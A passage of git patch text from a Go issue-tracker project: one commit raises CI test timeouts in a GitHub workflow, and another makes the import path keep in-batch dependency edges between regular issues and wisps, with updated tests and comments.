which is why TEST_TIMEOUT defaults to 25m there), and on 2026-09-01 main run 33497003321 failed twice with `panic: test timed out after 10m0s` in cmd/bd AND, as collateral in the same parallel coverage pass, internal/storage/uow — with DIFFERENT tests only 1-12s in flight on each attempt (a package-wide crawl on the 2-core coverage-instrumented runner, not a hang), while a rerun of the identical tree passed. Give both legs the repo's own 25m per-package deadline and keep it inside one finite job budget (`timeout-minutes: 45`), the shape test-embedded-conformance already documents: the go deadline fires first and prints goroutine stacks, so a REAL hang stays diagnosable instead of being cut off by a bare job kill. The ubuntu leg's `matrix.test-flags` is dead config — its coverage step hardcodes its own flags — so the ubuntu deadline goes on the gotestsum line and the macOS one on `test-flags`, the only leg that reads it. scripts/ci_workflow_test.go pins that macOS string exactly, so the ratchet moves with it (adversarial review F1: without this the diff is a deterministic red on main and on every PR). Verified: go test -count=1 ./scripts rc=0 (the ci_workflow ratchet over the patched main.yml); actionlint .github/workflows/main.yml rc=0. --- .github/workflows/main.yml | 19 +++++++++++++++++-- scripts/ci_workflow_test.go | 9 +++++++-- 2 files changed, 24 insertions(+), 4 deletions(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index a241863f3..4a5ce9684 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -451,11 +451,26 @@ jobs: run: make ci-pr-lint # Cross-platform test matrix (Linux/macOS only - Windows uses smoke tests) + # + # Both legs run every package in one `./...` invocation, so go test's DEFAULT + # 10m per-package deadline applied — and cmd/bd outgrew it. scripts/test.sh + # already documents the floor for local runs: cmd/bd is the slowest package at + # ~18min wall, which is why TEST_TIMEOUT defaults to 25m there. CI was still on + # the 10m default and rode the edge: on 2026-09-01 main run 33497003321 failed + # twice with `panic: test timed out after 10m0s` in cmd/bd AND, in the same + # coverage pass, internal/storage/uow — different tests only 1-12s in flight + # each attempt (a package-wide crawl on the 2-core coverage-instrumented + # runner, not a hang), while a rerun of the identical tree passed. Match + # scripts/test.sh's 25m per-package deadline and keep it inside one finite job + # budget, the same shape the storage/uow and conformance jobs below use: the go + # deadline fires first and prints goroutine stacks, so a REAL hang is still + # diagnosable rather than being cut off by a bare job kill. test: name: Test (${{ matrix.os }}) if: github.event_name == 'push' && github.ref == 'refs/heads/main' runs-on: ${{ matrix.os }} needs: build-artifacts + timeout-minutes: 45 strategy: fail-fast: false matrix: @@ -468,7 +483,7 @@ jobs: # macOS: full test suite, no coverage (faster) - os: macos-latest coverage: false - test-flags: '-v -race -short' + test-flags: '-v -race -short -timeout=25m' steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -551,7 +566,7 @@ jobs: gotestsum \ --junitfile junit.xml \ --format testdox \ - -- -tags gms_pure_go -race -short -coverprofile=coverage.out -skip '^TestEmbedded' ./... + -- -tags gms_pure_go -race -short -timeout=25m -coverprofile=coverage.out -skip '^TestEmbedded' ./... - name: Test if: ${{ !matrix.coverage }} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index e70a437af..4e77edce3 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -300,6 +300,11 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { buildCommand = "go build -v -tags gms_pure_go ./cmd/bd" prTestCommand = "go test -tags gms_pure_go -v -race -short -skip '^TestEmbedded' ./..." mainTestCommand = "go test -tags gms_pure_go ${{ matrix.test-flags }} -skip '^TestEmbedded' ./..." + // The macOS leg is the only consumer of main.yml's matrix test-flags (the + // ubuntu leg's coverage step hardcodes its own), and it carries an explicit + // per-package -timeout because go test's 10m default is what made the ubuntu + // leg flaky (wy-5b5fbl). Keep the two legs' deadlines in step when either moves. + mainMacOSTestFlags = "-v -race -short -timeout=25m" ) workflows := map[string]ciWorkflow{ @@ -331,8 +336,8 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { } if got := mainTest.Strategy.Matrix.Include; len(got) != 2 || got[0].OS != "ubuntu-latest" || !got[0].Coverage || - got[1].OS != macOSRunner || got[1].Coverage || got[1].TestFlags != "-v -race -short" { - t.Errorf("main test matrix include = %+v, want macOS non-coverage entry with -v -race -short", got) + got[1].OS != macOSRunner || got[1].Coverage || got[1].TestFlags != mainMacOSTestFlags { + t.Errorf("main test matrix include = %+v, want macOS non-coverage entry with %s", got, mainMacOSTestFlags) } assertStepEnvValue(t, mainTest, "Test", "BEADS_TEST_BD_BINARY", workspaceBDBinary) From 85b07f9be5429b6289042352c083c41e9eb57503 Mon Sep 17 00:00:00 2001 From: plato Date: Tue, 1 Sep 2026 04:06:57 -0700 Subject: [PATCH 010/624] wy-a648lq: import wires in-batch regular<->wisp edges instead of dropping them Proxied-mode `bd import` (one ImportBatch -> uow/importer.go -> issueops.CreateIssuesInTxWithResult with SkipDependencyValidationErrors) still lost every regular<->wisp dependency edge whose both endpoints were rows of the batch: the engine's in-memory per-batch plane filter skip-reported it, and since a re-import upserts both rows unchanged the edge could never be backfilled. The classic path only dodged the same filter by deferring such edges to a single-plane pass (wy-4276q8). The filter was never needed on a single-transaction batch. Every row of BOTH planes is written on the one tx before PersistDependenciesWithOptions runs, and that pass resolves each target on its own plane, so the edge is writable. The plane rule is now a REFUSAL only: a strict batch (BatchCreator's contract, CrossPlaneBatchEdgeError) is still refused whole; a tolerant batch keeps the edge. doltTransaction.CreateIssues, which writes the planes on two SQL sessions, already validates up front and passes one plane per call, so no mixed batch on split sessions can reach the engine. - issueops/create.go: CreateIssuesInTxWithContext validates only when !SkipDependencyValidationErrors; the filter shrinks to a validator. FilterCreateIssuesMixedBucketDependencies (dead) is gone, and with it the wy-4276q8 F6 case (a duplicate-ID target tripping the per-batch filter). - Contracts flipped to the corrected promise: conformance RunImporterReportsTheCrossPlaneEdgeItDropped -> RunImporterWiresTheCrossPlaneEdgeBetweenItsRows (both directions, both tables, empty skip report); the wisp-batch audit's tolerant arm (b) asserts the edge is wired; leg-waiver and uow wiring renamed. - New TestImporterUOW/CrossPlaneInBatchEdgesAreWiredInTheOneCommit: the proxied Importer wires wisp->durable (wisp_dependencies) and durable->wisp (dependencies.depends_on_wisp_id) in ONE history entry with no SkippedDependencies. - Classic-path comments no longer claim the engine drops these edges; its same-chunk deferral is now redundant and wy-y52syc retires it. --- .../audit_molecule_wisp_batch_iter.go | 16 ++-- backend/conformance/importer_contract.go | 51 +++++++----- backend/conformance/role_bundle_cases.go | 2 +- cmd/bd/import_chunking_embedded_test.go | 25 +++--- cmd/bd/import_shared.go | 69 ++++++++------- internal/storage/issueops/create.go | 83 ++++++++----------- internal/storage/issueops/create_batch.go | 2 +- internal/storage/issueops/create_test.go | 40 --------- internal/storage/leg_contract_wiring_test.go | 20 ++--- .../storage/uow/importer_contract_test.go | 4 +- internal/storage/uow/importer_uow_test.go | 51 ++++++++++++ 11 files changed, 187 insertions(+), 176 deletions(-) diff --git a/backend/conformance/audit_molecule_wisp_batch_iter.go b/backend/conformance/audit_molecule_wisp_batch_iter.go index c0ad03286..48d5909db 100644 --- a/backend/conformance/audit_molecule_wisp_batch_iter.go +++ b/backend/conformance/audit_molecule_wisp_batch_iter.go @@ -501,9 +501,13 @@ func testAuditCreateAllWispsInlineDependencies(t *testing.T, f Factory) { } } -// A mixed regular+wisp batch with a cross-bucket edge is rejected before insert; -// with SkipDependencyValidationErrors the edge is dropped and both issues persist -// (create.go:288-361). +// A mixed regular+wisp batch with a cross-bucket edge is rejected before insert +// (the strict plane rule, issueops.ValidateCreateIssuesMixedBucketDependencies); +// with SkipDependencyValidationErrors — the import mode — both issues persist +// AND the edge is wired: every row of both planes is written on the one +// transaction before the dependency pass, which resolves the target on its own +// plane. Until wy-a648lq the tolerant arm dropped the edge instead, and a +// re-import could never backfill it. func testAuditCreateCrossBucketDependency(t *testing.T, f Factory) { s := f(t) c := ctx() @@ -520,7 +524,7 @@ func testAuditCreateCrossBucketDependency(t *testing.T, f Factory) { t.Errorf("(a) test-a persisted despite rejected batch: %v", err) } - // (b) With skip: both persist, edge dropped. + // (b) With skip: both persist, and the cross-bucket edge is wired. must(t, s.CreateIssuesWithFullOptions(c, []*types.Issue{ withDefaults(&types.Issue{ID: "test-c", Title: "C"}), withDefaults(&types.Issue{ID: "test-d", Title: "D", Ephemeral: true, Dependencies: []*types.Dependency{{IssueID: "test-d", DependsOnID: "test-c", Type: types.DepBlocks}}}), @@ -532,8 +536,8 @@ func testAuditCreateCrossBucketDependency(t *testing.T, f Factory) { t.Errorf("(b) test-d missing: %v", err) } recs, _ := s.GetAllDependencyRecords(c) - if len(recs["test-d"]) != 0 { - t.Errorf("(b) cross-bucket edge not dropped: %v", auditDepTargets(recs["test-d"])) + if got := auditDepTargets(recs["test-d"]); !slices.Equal(got, []string{"test-c"}) { + t.Errorf("(b) test-d deps = %v, want [test-c] (in-batch cross-bucket edge wired, not dropped)", got) } } diff --git a/backend/conformance/importer_contract.go b/backend/conformance/importer_contract.go index 9308055ce..301ecb095 100644 --- a/backend/conformance/importer_contract.go +++ b/backend/conformance/importer_contract.go @@ -235,45 +235,54 @@ func RunImporterReportsTheAbsentTargetItDroppedOnce(t *testing.T, ctx context.Co assertImporterSkipped(t, result, []publicops.SkippedDependency{{IssueID: source, DependsOnID: absent}}) } -// RunImporterReportsTheCrossPlaneEdgeItDropped pins the same obligation for the -// plane rule. The request is the one RunBatchCreatorRefusesACrossPlaneInBatchEdge +// RunImporterWiresTheCrossPlaneEdgeBetweenItsRows pins the plane rule's OTHER +// branch. The request is the one RunBatchCreatorRefusesACrossPlaneInBatchEdge // sends and refuses whole — a durable item and an ephemeral item created -// together with an edge between them — where the import keeps BOTH ROWS and -// drops only the edge. +// together with an edge between them. BatchCreator refuses because its +// unit-of-work body creates item by item and cannot promise the edge; the +// importer writes every row of BOTH planes in one transaction before it +// persists any edge, so the edge is writable. Until wy-a648lq the engine's +// per-batch plane filter dropped it anyway — skip-reported, but a re-import +// upserts both rows unchanged and never backfills it, so an exported snapshot +// lost every regular<->wisp edge for good (wy-4276q8). A report justifies a +// drop only when the drop is forced; this one was not. // -// BOTH ROWS ARE ASSERTED, on their own tables. The dropped edge is the visible -// part, and an implementation that dropped the ephemeral item along with it -// would satisfy every statement about the edge: there is no edge because there -// is no wisp. The audit twin's arm (b) reads both rows back through GetIssue, -// which resolves across planes and so cannot say WHICH table either landed in. -// -// The report is again an exact list. Arm (b) of the audit case asserts no -// report at all — it passes a nil skip callback — so a silent cross-plane drop -// is invisible to it, which is precisely the drop BatchCreator calls data -// loss. -func RunImporterReportsTheCrossPlaneEdgeItDropped(t *testing.T, ctx context.Context, fixture ImporterFixture) { +// BOTH DIRECTIONS ARE ASSERTED, because they land in different places: a wisp +// depending on a durable row writes wisp_dependencies.depends_on_issue_id, a +// durable row depending on a wisp writes dependencies.depends_on_wisp_id, and +// an implementation could wire one and drop the other. Every row is asserted +// on its own table, and the skip report must be EMPTY — an entry naming an +// edge the batch actually wrote is the report lying in the other direction. +func RunImporterWiresTheCrossPlaneEdgeBetweenItsRows(t *testing.T, ctx context.Context, fixture ImporterFixture) { t.Helper() durable := fixture.IssuePrefix + "-impplane-durable" wisp := fixture.IssuePrefix + "-impplane-wisp" + depender := fixture.IssuePrefix + "-impplane-depender" ephemeral := importerIssue(wisp, "the ephemeral end") ephemeral.Ephemeral = true ephemeral.Dependencies = []*types.Dependency{ {IssueID: wisp, DependsOnID: durable, Type: types.DepBlocks}, } + durableDepender := importerIssue(depender, "the durable row blocked by the wisp") + durableDepender.Dependencies = []*types.Dependency{ + {IssueID: depender, DependsOnID: wisp, Type: types.DepBlocks}, + } result := runImporterBatch(t, ctx, fixture, "cross-plane", - importerIssue(durable, "the durable end"), ephemeral) + importerIssue(durable, "the durable end"), ephemeral, durableDepender) assertImporterRowCount(t, ctx, fixture, "issues", durable, 1) assertImporterRowCount(t, ctx, fixture, "wisps", wisp, 1) - if result.Created != 2 { - t.Errorf("Created = %d, want 2: dropping an edge costs the batch neither row", result.Created) + assertImporterRowCount(t, ctx, fixture, "issues", depender, 1) + if result.Created != 3 { + t.Errorf("Created = %d, want 3", result.Created) } - assertImporterEdgeCount(t, ctx, fixture, wisp, durable, 0) - assertImporterSkipped(t, result, []publicops.SkippedDependency{{IssueID: wisp, DependsOnID: durable}}) + assertImporterEdgeCount(t, ctx, fixture, wisp, durable, 1) + assertImporterEdgeCount(t, ctx, fixture, depender, wisp, 1) + assertImporterSkipped(t, result, nil) } -// RunImporterReportsTheCycleEdgeItDropped pins the last of the three drops: an +// RunImporterReportsTheCycleEdgeItDropped pins the last of the drops: an // in-batch dependency cycle. Both rows land, the graph stays acyclic, and the // ONE edge given up to keep it acyclic is named. // diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index fa457a011..62b8012ba 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -323,7 +323,7 @@ var roleContractCases = []roleContract{ func(b RoleContractBundle) func(t *testing.T) *ImporterFixture { return b.Importer }, RunImporterRejectsAStaleRowAndNamesIt, RunImporterReportsTheAbsentTargetItDroppedOnce, - RunImporterReportsTheCrossPlaneEdgeItDropped, + RunImporterWiresTheCrossPlaneEdgeBetweenItsRows, RunImporterReportsTheCycleEdgeItDropped, ), diff --git a/cmd/bd/import_chunking_embedded_test.go b/cmd/bd/import_chunking_embedded_test.go index 74ec7f1e3..638e72862 100644 --- a/cmd/bd/import_chunking_embedded_test.go +++ b/cmd/bd/import_chunking_embedded_test.go @@ -566,21 +566,16 @@ func TestImportChunkedStaleRejectedRowKeepsDeferredDepsOut(t *testing.T) { } } -// Cross-bucket (regular<->wisp) edges across a chunk boundary. The engine's -// per-batch cross-bucket filter (issueops.filterCreateIssuesMixedBucketDependencies) -// skip-reports a regular<->wisp edge whose endpoints are both rows of one mixed -// batch and short-circuits on a single-plane batch. The import used to apply -// that filter over the FULL set up front and so dropped every such edge; it now -// defers the edge to a single-plane dependency pass. This exercises it end to -// end against the real engine: a regular -> wisp edge straddling a chunk -// boundary must be wired, not skip-reported, and a same-bucket wisp -> wisp -// edge straddling the same boundary must survive as before. -// A regular<->wisp edge between two rows of the import is never dropped: the -// engine's per-batch cross-bucket filter would skip-report it when both -// endpoints are rows of one mixed batch, so the import defers it to a -// single-plane dependency pass where the target is a committed row outside -// the batch (wy-4276q8). Pre-fix the up-front cross-bucket filter dropped -// it and skip-reported it, and every export→import lost such edges for good. +// Cross-bucket (regular<->wisp) edges across a chunk boundary. Pre-wy-4276q8 +// the import applied the engine's per-batch cross-bucket filter over the FULL +// set up front and so dropped every such edge; it now defers a same-chunk one +// to a single-plane dependency pass (a workaround the engine no longer needs +// since wy-a648lq, which writes in-batch cross-plane edges under +// SkipDependencyValidationErrors; wy-y52syc retires it). This exercises the +// outcome end to end against the real engine: a regular -> wisp edge +// straddling a chunk boundary must be wired, not skip-reported, and a +// same-bucket wisp -> wisp edge straddling the same boundary must survive as +// before. Every export→import used to lose such edges for good. func TestImportChunkedMixedRegularWispCrossBucketEdgesWired(t *testing.T) { requireEmbeddedDolt(t) setImportChunkSize(t, 5) diff --git a/cmd/bd/import_shared.go b/cmd/bd/import_shared.go index a72375bbb..ca3065fa0 100644 --- a/cmd/bd/import_shared.go +++ b/cmd/bd/import_shared.go @@ -190,11 +190,12 @@ func importIssuesCore(ctx context.Context, _ string, store storage.DoltStorage, var err error if len(issues) <= importChunkSize && !hasCrossBucketBatchEdge(issues) { // Small import: one transaction, dependencies inline — exactly the - // pre-chunking behavior. A batch carrying a regular<->wisp edge takes - // the chunked path instead: the engine's per-batch cross-bucket filter - // (issueops.filterCreateIssuesMixedBucketDependencies) skip-reports - // such an edge whenever both endpoints are rows of one mixed batch, so - // it needs the single-plane dependency pass. + // pre-chunking behavior. A batch carrying a regular<->wisp edge still + // takes the chunked path: until wy-a648lq the engine's per-batch + // cross-bucket filter skip-reported such an edge whenever both + // endpoints were rows of one mixed batch, so it needed the single-plane + // dependency pass; the engine now writes it inline, and wy-y52syc + // retires this routing. err = store.CreateIssuesWithFullOptions(ctx, issues, actor, batchOpts) } else { err = importIssuesChunked(ctx, store, issues, actor, batchOpts) @@ -272,10 +273,11 @@ func assembleImportResult(issues []*types.Issue, staleSkippedIDs []string, chang // member is left spuriously ready — can differ from the single-transaction // import, which checks the whole cycle in file order), non-readiness edges // (related, discovered-from) that point at a later chunk, and regular<->wisp -// edges whose target is first written in the same chunk: the engine's -// per-batch cross-bucket filter (issueops.filterCreateIssuesMixedBucketDependencies) -// skip-reports any regular<->wisp edge whose endpoints are both rows of one -// mixed batch, whatever the transaction layout. Deferring such an edge opens +// edges whose target is first written in the same chunk: until wy-a648lq the +// engine's per-batch cross-bucket filter skip-reported any regular<->wisp edge +// whose endpoints were both rows of one mixed batch, whatever the transaction +// layout (it now writes such an edge under SkipDependencyValidationErrors, and +// wy-y52syc retires this deferral). Deferring such an edge opens // a ready window like a cycle member's deferred edge — and a common one, since // Kahn's order tends to place a blocker directly before its dependent, i.e. in // the same chunk; dropping it — the import's former policy — lost it for good, @@ -303,13 +305,14 @@ func assembleImportResult(issues []*types.Issue, staleSkippedIDs []string, chang // regular<->wisp readiness edges); every other readiness edge commits with its // row. func importIssuesChunked(ctx context.Context, store storage.DoltStorage, issues []*types.Issue, actor string, opts storage.BatchCreateOptions) error { - // Cross-bucket (regular<->wisp) edges are deliberately NOT filtered out - // up front. The engine's per-batch filter skip-reports such an edge only - // when both endpoints are rows of one mixed batch, so - // partitionChunkedImportDeps defers one whose target lands in the same or - // a later chunk to the single-plane dependency pass and wires one into an - // earlier chunk inline (its target is then a committed row outside the - // batch). See the ordering notes above. + // Cross-bucket (regular<->wisp) edges are never filtered: since wy-a648lq + // the engine writes an in-batch one under SkipDependencyValidationErrors + // (every row of both planes is on the chunk's one tx before its dependency + // pass). partitionChunkedImportDeps still defers one whose target is first + // written in the SAME chunk to the single-plane dependency pass — the + // wy-4276q8 workaround for the per-batch filter the engine no longer + // applies, retired by wy-y52syc — and wires one into an earlier chunk + // inline (its target is then a committed row). See the ordering notes above. ordered := orderImportIssuesForChunking(issues) // Partitioning narrows each issue's dependency slice to its inline subset in @@ -380,7 +383,7 @@ type deferredImportEdges struct { func partitionChunkedImportDeps(ordered []*types.Issue) []deferredImportEdges { firstChunkOf := make(map[string]int, len(ordered)) // Last row wins for the bucket, mirroring the engine's own per-batch - // cross-bucket check (issueops.filterCreateIssuesMixedBucketDependencies). + // plane check (issueops.validateCreateIssuesMixedBucketDependencies). wispByID := make(map[string]bool, len(ordered)) for pos, issue := range ordered { if issue.ID == "" { @@ -410,11 +413,12 @@ func partitionChunkedImportDeps(ordered []*types.Issue) []deferredImportEdges { // into edges that can be wired inline and edges that must be deferred: the // target is first written in a later chunk, or the edge crosses the // regular/wisp bucket boundary and its target is first written in the SAME -// chunk. The engine's per-batch cross-bucket filter skip-reports a -// regular<->wisp edge whose endpoints are both rows of one mixed batch, and -// the import would lose it (wy-4276q8). A cross-bucket edge into an earlier -// chunk points at a committed row outside the batch and rides inline like any -// other. +// chunk. Until wy-a648lq the engine's per-batch cross-bucket filter +// skip-reported a regular<->wisp edge whose endpoints were both rows of one +// mixed batch, and the import lost it (wy-4276q8); the engine now writes such +// an edge, and this deferral is kept only until wy-y52syc retires it. A +// cross-bucket edge into an earlier chunk points at a committed row outside +// the batch and rides inline like any other. func splitDepsByChunk(deps []*types.Dependency, rowChunk int, rowIsWisp bool, firstChunkOf map[string]int, wispByID map[string]bool) (inline, later []*types.Dependency) { for _, dep := range deps { if dep == nil { @@ -450,10 +454,11 @@ func crossesBucket(dep *types.Dependency, rowIsWisp bool, wispByID map[string]bo } // hasCrossBucketBatchEdge reports whether any row's dependency points at -// another row of the same batch on the other plane (regular<->wisp). The -// engine's per-batch cross-bucket filter would skip-report such an edge, so an -// import carrying one must take the chunked path and defer it to the -// single-plane dependency pass. +// another row of the same batch on the other plane (regular<->wisp). Until +// wy-a648lq the engine's per-batch cross-bucket filter skip-reported such an +// edge, so an import carrying one takes the chunked path and defers it to the +// single-plane dependency pass; the engine now writes it inline, and +// wy-y52syc retires this routing. func hasCrossBucketBatchEdge(issues []*types.Issue) bool { wispByID := make(map[string]bool, len(issues)) for _, issue := range issues { @@ -524,12 +529,12 @@ func wireDeferredImportDeps(ctx context.Context, store storage.DoltStorage, defe // whose phase-1 write committed. depOpts.OnStaleRejected = nil // Regular-source rows and wisp-source rows go in separate transactions. - // The engine's per-batch cross-bucket filter - // (issueops.filterCreateIssuesMixedBucketDependencies) skip-reports a - // regular<->wisp edge whose target row is in the same mixed batch, and a - // deferred cross-bucket edge's target may itself carry deferred edges — a - // mixed batch could re-trigger exactly the skip this pass exists to avoid. - // The filter short-circuits on a single-plane batch, so with every batch + // Until wy-a648lq the engine's per-batch cross-bucket filter skip-reported + // a regular<->wisp edge whose target row was in the same mixed batch, and + // a deferred cross-bucket edge's target may itself carry deferred edges — + // a mixed batch could re-trigger exactly the skip this pass existed to + // avoid. (The engine now writes such an edge; wy-y52syc retires the split.) + // That filter short-circuited on a single-plane batch, so with every batch // on one plane nothing can be filtered, and every target is a committed // phase-1 row. depTotal := len(depRows) diff --git a/internal/storage/issueops/create.go b/internal/storage/issueops/create.go index 1230b378d..86f4ae895 100644 --- a/internal/storage/issueops/create.go +++ b/internal/storage/issueops/create.go @@ -276,11 +276,22 @@ func CreateIssuesInTxWithResult(ctx context.Context, tx DBTX, issues []*types.Is // The caller's bc is not modified, so one context can serve several calls. func CreateIssuesInTxWithContext(ctx context.Context, tx DBTX, bc *BatchContext, issues []*types.Issue, actor string) (CreateIssuesResult, error) { opts := bc.Opts - filteredIssues, err := filterCreateIssuesMixedBucketDependencies(issues, opts) - if err != nil { - return CreateIssuesResult{}, err + // The plane rule is a REFUSAL, never a filter. A strict batch (BatchCreator's + // contract) is refused whole before any row is written. A tolerant batch + // (SkipDependencyValidationErrors — the import mode) keeps every in-batch + // regular<->wisp edge: every row of BOTH planes is written on this one tx + // below before PersistDependenciesWithOptionsResult runs, and that pass + // resolves each target on its own plane, so the edge is writable — the + // old per-batch filter skip-reported it, and since a re-import upserts the + // rows unchanged the edge was never backfilled (wy-4276q8, wy-a648lq). A + // caller that writes the two planes on different SQL sessions + // (doltTransaction.CreateIssues) validates up front and passes one plane + // per call, so a mixed batch reaching here always shares one tx. + if !opts.SkipDependencyValidationErrors { + if err := validateCreateIssuesMixedBucketDependencies(issues); err != nil { + return CreateIssuesResult{}, err + } } - issues = filteredIssues // This function already runs a slice-wide ReconcileChildCounters below, // covering every accepted issue; skip the redundant per-issue reconcile. @@ -377,16 +388,20 @@ func stageableChangedTables(changed map[string]bool) map[string]bool { return dirty } -// ValidateCreateIssuesMixedBucketDependencies rejects same-batch dependency -// edges between regular issues and wisps. Dependencies are stored in separate -// backing tables per bucket, so a batch cannot create both ends atomically when -// the edge crosses buckets. +// ValidateCreateIssuesMixedBucketDependencies refuses same-batch dependency +// edges between regular issues and wisps. It is the plane rule of the STRICT +// batch (BatchCreator's contract, CrossPlaneBatchEdgeError): a caller whose +// regular and wisp rows are written on different SQL sessions +// (doltTransaction.CreateIssues) cannot create both ends of such an edge +// atomically, so the batch is refused whole before any row is written. It is +// deliberately NOT applied to a tolerant batch (SkipDependencyValidationErrors): +// on one tx the dependency pass runs after every row of both planes exists and +// writes the edge (see CreateIssuesInTxWithContext). func ValidateCreateIssuesMixedBucketDependencies(issues []*types.Issue) error { - _, err := filterCreateIssuesMixedBucketDependencies(issues, storage.BatchCreateOptions{}) - return err + return validateCreateIssuesMixedBucketDependencies(issues) } -func filterCreateIssuesMixedBucketDependencies(issues []*types.Issue, opts storage.BatchCreateOptions) ([]*types.Issue, error) { +func validateCreateIssuesMixedBucketDependencies(issues []*types.Issue) error { batchWispByID := make(map[string]bool, len(issues)) hasRegular := false hasWisp := false @@ -405,21 +420,15 @@ func filterCreateIssuesMixedBucketDependencies(issues []*types.Issue, opts stora } } if !hasRegular || !hasWisp { - return issues, nil + return nil } - var filteredIssues []*types.Issue - for issueIndex, issue := range issues { + for _, issue := range issues { if issue == nil { continue } - var keptDeps []*types.Dependency - filteredDeps := false - for depIndex, dep := range issue.Dependencies { + for _, dep := range issue.Dependencies { if dep == nil { - if filteredDeps { - keptDeps = append(keptDeps, dep) - } continue } sourceID := issue.ID @@ -432,37 +441,15 @@ func filterCreateIssuesMixedBucketDependencies(issues []*types.Issue, opts stora } targetIsWisp, targetInBatch := batchWispByID[dep.DependsOnID] if targetInBatch && sourceIsWisp != targetIsWisp { - if !opts.SkipDependencyValidationErrors { - // Through the shared constructor, so the two bodies raise - // one message AND one sentinel: the role promises this - // refusal is the caller's fault, and an untyped error left - // callers classifying it by prose. - return nil, CrossPlaneBatchEdgeError(sourceID, dep.DependsOnID) - } - if !filteredDeps { - keptDeps = append([]*types.Dependency(nil), issue.Dependencies[:depIndex]...) - filteredDeps = true - } - recordSkippedDependencyEdge(opts, sourceID, dep.DependsOnID, "cross-bucket dependency between regular issue and wisp in the same batch") - continue - } - if filteredDeps { - keptDeps = append(keptDeps, dep) + // Through the shared constructor, so the two bodies raise + // one message AND one sentinel: the role promises this + // refusal is the caller's fault, and an untyped error left + // callers classifying it by prose. + return CrossPlaneBatchEdgeError(sourceID, dep.DependsOnID) } } - if filteredDeps { - if filteredIssues == nil { - filteredIssues = append([]*types.Issue(nil), issues...) - } - issueCopy := *issue - issueCopy.Dependencies = keptDeps - filteredIssues[issueIndex] = &issueCopy - } } - if filteredIssues != nil { - return filteredIssues, nil - } - return issues, nil + return nil } func createBlockedRecomputeIDs(ctx context.Context, tx DBTX, issues []*types.Issue, dependencies []persistedDependency) ([]string, []string, error) { diff --git a/internal/storage/issueops/create_batch.go b/internal/storage/issueops/create_batch.go index 35146fbf5..46f128ca6 100644 --- a/internal/storage/issueops/create_batch.go +++ b/internal/storage/issueops/create_batch.go @@ -187,7 +187,7 @@ func ExecuteCreateBatch(ctx context.Context, tx *sql.Tx, request publicops.Creat } // CrossPlaneBatchEdgeError is the refusal the store-backed body raises from -// filterCreateIssuesMixedBucketDependencies, spelled here so the unit-of-work +// validateCreateIssuesMixedBucketDependencies, spelled here so the unit-of-work // body can raise the identical one before it starts writing. func CrossPlaneBatchEdgeError(sourceID, targetID string) error { return fmt.Errorf("mixed regular/wisp CreateIssues batch cannot include cross-bucket dependency %s -> %s; create the issues first, then add the in-batch dependency after both issues exist%.0w", diff --git a/internal/storage/issueops/create_test.go b/internal/storage/issueops/create_test.go index 997781a5f..2f57e9435 100644 --- a/internal/storage/issueops/create_test.go +++ b/internal/storage/issueops/create_test.go @@ -111,46 +111,6 @@ func TestValidateCreateIssuesMixedBucketDependenciesRejectsCrossBucketEdges(t *t } } -func TestFilterCreateIssuesMixedBucketDependenciesSkipsWhenConfigured(t *testing.T) { - regular := &types.Issue{ - ID: "test-regular-source", - IssueType: types.TypeTask, - Dependencies: []*types.Dependency{{ - DependsOnID: "test-wisp-target", - Type: types.DepBlocks, - }}, - } - wisp := &types.Issue{ - ID: "test-wisp-target", - IssueType: types.TypeTask, - Ephemeral: true, - } - var skipped []string - - filtered, err := filterCreateIssuesMixedBucketDependencies([]*types.Issue{regular, wisp}, storage.BatchCreateOptions{ - SkipDependencyValidationErrors: true, - OnSkippedDependency: func(issueID, dependsOnID, reason string) { - skipped = append(skipped, issueID+" -> "+dependsOnID+": "+reason) - }, - }) - if err != nil { - t.Fatalf("filterCreateIssuesMixedBucketDependencies error = %v, want nil", err) - } - if len(filtered) != 2 { - t.Fatalf("len(filtered) = %d, want 2", len(filtered)) - } - if len(filtered[0].Dependencies) != 0 { - t.Fatalf("filtered[0].Dependencies = %#v, want none", filtered[0].Dependencies) - } - if len(regular.Dependencies) != 1 { - t.Fatalf("regular.Dependencies was mutated to %#v, want original dependency preserved", regular.Dependencies) - } - if len(skipped) != 1 || !strings.Contains(skipped[0], "test-regular-source -> test-wisp-target") || - !strings.Contains(skipped[0], "cross-bucket dependency") { - t.Fatalf("skipped = %#v, want cross-bucket dependency detail", skipped) - } -} - func TestPersistDependenciesHonorsImportedCreatedBy(t *testing.T) { ctx := context.Background() db, mock, tx := beginMockTx(t) diff --git a/internal/storage/leg_contract_wiring_test.go b/internal/storage/leg_contract_wiring_test.go index b48240142..9f003a6bf 100644 --- a/internal/storage/leg_contract_wiring_test.go +++ b/internal/storage/leg_contract_wiring_test.go @@ -36,18 +36,18 @@ const importerOneAccessorWaiverReason = "Importer has one accessor (uow.Importer // brings its waivers the same way; see unwiredContractEntrypoints. func init() { registerContractLegWaivers("dolt", map[string]string{ - "RunImporterRejectsAStaleRowAndNamesIt": importerOneAccessorWaiverReason, - "RunImporterReportsTheAbsentTargetItDroppedOnce": importerOneAccessorWaiverReason, - "RunImporterReportsTheCrossPlaneEdgeItDropped": importerOneAccessorWaiverReason, - "RunImporterReportsTheCycleEdgeItDropped": importerOneAccessorWaiverReason, - "RunBootstrapperRecordsExactlyOneHistoryEntry": bootstrapSplitWaiverReason, + "RunImporterRejectsAStaleRowAndNamesIt": importerOneAccessorWaiverReason, + "RunImporterReportsTheAbsentTargetItDroppedOnce": importerOneAccessorWaiverReason, + "RunImporterWiresTheCrossPlaneEdgeBetweenItsRows": importerOneAccessorWaiverReason, + "RunImporterReportsTheCycleEdgeItDropped": importerOneAccessorWaiverReason, + "RunBootstrapperRecordsExactlyOneHistoryEntry": bootstrapSplitWaiverReason, }) registerContractLegWaivers("embeddeddolt", map[string]string{ - "RunImporterRejectsAStaleRowAndNamesIt": importerOneAccessorWaiverReason, - "RunImporterReportsTheAbsentTargetItDroppedOnce": importerOneAccessorWaiverReason, - "RunImporterReportsTheCrossPlaneEdgeItDropped": 